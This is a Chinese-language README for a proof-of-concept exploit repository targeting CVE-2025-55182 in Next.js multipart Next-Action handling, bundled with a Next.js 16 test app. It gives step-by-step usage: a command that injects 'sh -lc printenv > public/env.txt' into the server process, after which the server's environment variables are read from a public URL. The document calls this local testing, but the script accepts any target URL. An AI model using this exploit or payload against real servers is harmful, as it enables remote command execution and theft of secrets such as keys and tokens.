
针对 CVE-2025-55182 的概念验证漏洞利用,目标为 Next.js 的 multipart/Next-Action 处理,附带本地命令注入演示脚本。
一个小型仓库,包含:
test-app/:一个使用 App Router 的 Next.js 16 (React 19) 测试应用程序。exploit.js:一个本地概念验证脚本,用于演示和测试服务器在 multipart/Next-Action 处理方面的行为。仅供本地测试使用。rsc-test-app/
├─ README.md # You are here
├─ exploit.js # PoC script (local-only)
└─ test-app/ # Next.js application
├─ app/ # App Router pages
├─ public/ # Static assets (and env.txt when generated)
├─ package.json # Next 16 / React 19
└─ README.md # Default Next.js template README
cd test-app
npm install
npm run dev
# App will be available at http://localhost:3000
npm run build
npm start
该脚本构造一个包含 Next-Action 头部的 multipart 请求,以测试服务器行为。默认情况下,它会尝试在服务器进程中执行一条命令,将环境变量写入 public/env.txt(用于本地/开发环境演示)。
重要说明:
public/ 解析为 test-app/public/。在另一个终端中,确保 Next.js 应用正在 http://localhost:3000 上运行:
cd test-app
npm run dev
从仓库根目录运行脚本:
node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"
参数:
http://localhost:3000。sh -lc 'printenv > public/env.txt'。运行后,检查生成的文件:
通过访问
http://localhost:3000/env.txt
这样你就获得了服务器的环境变量。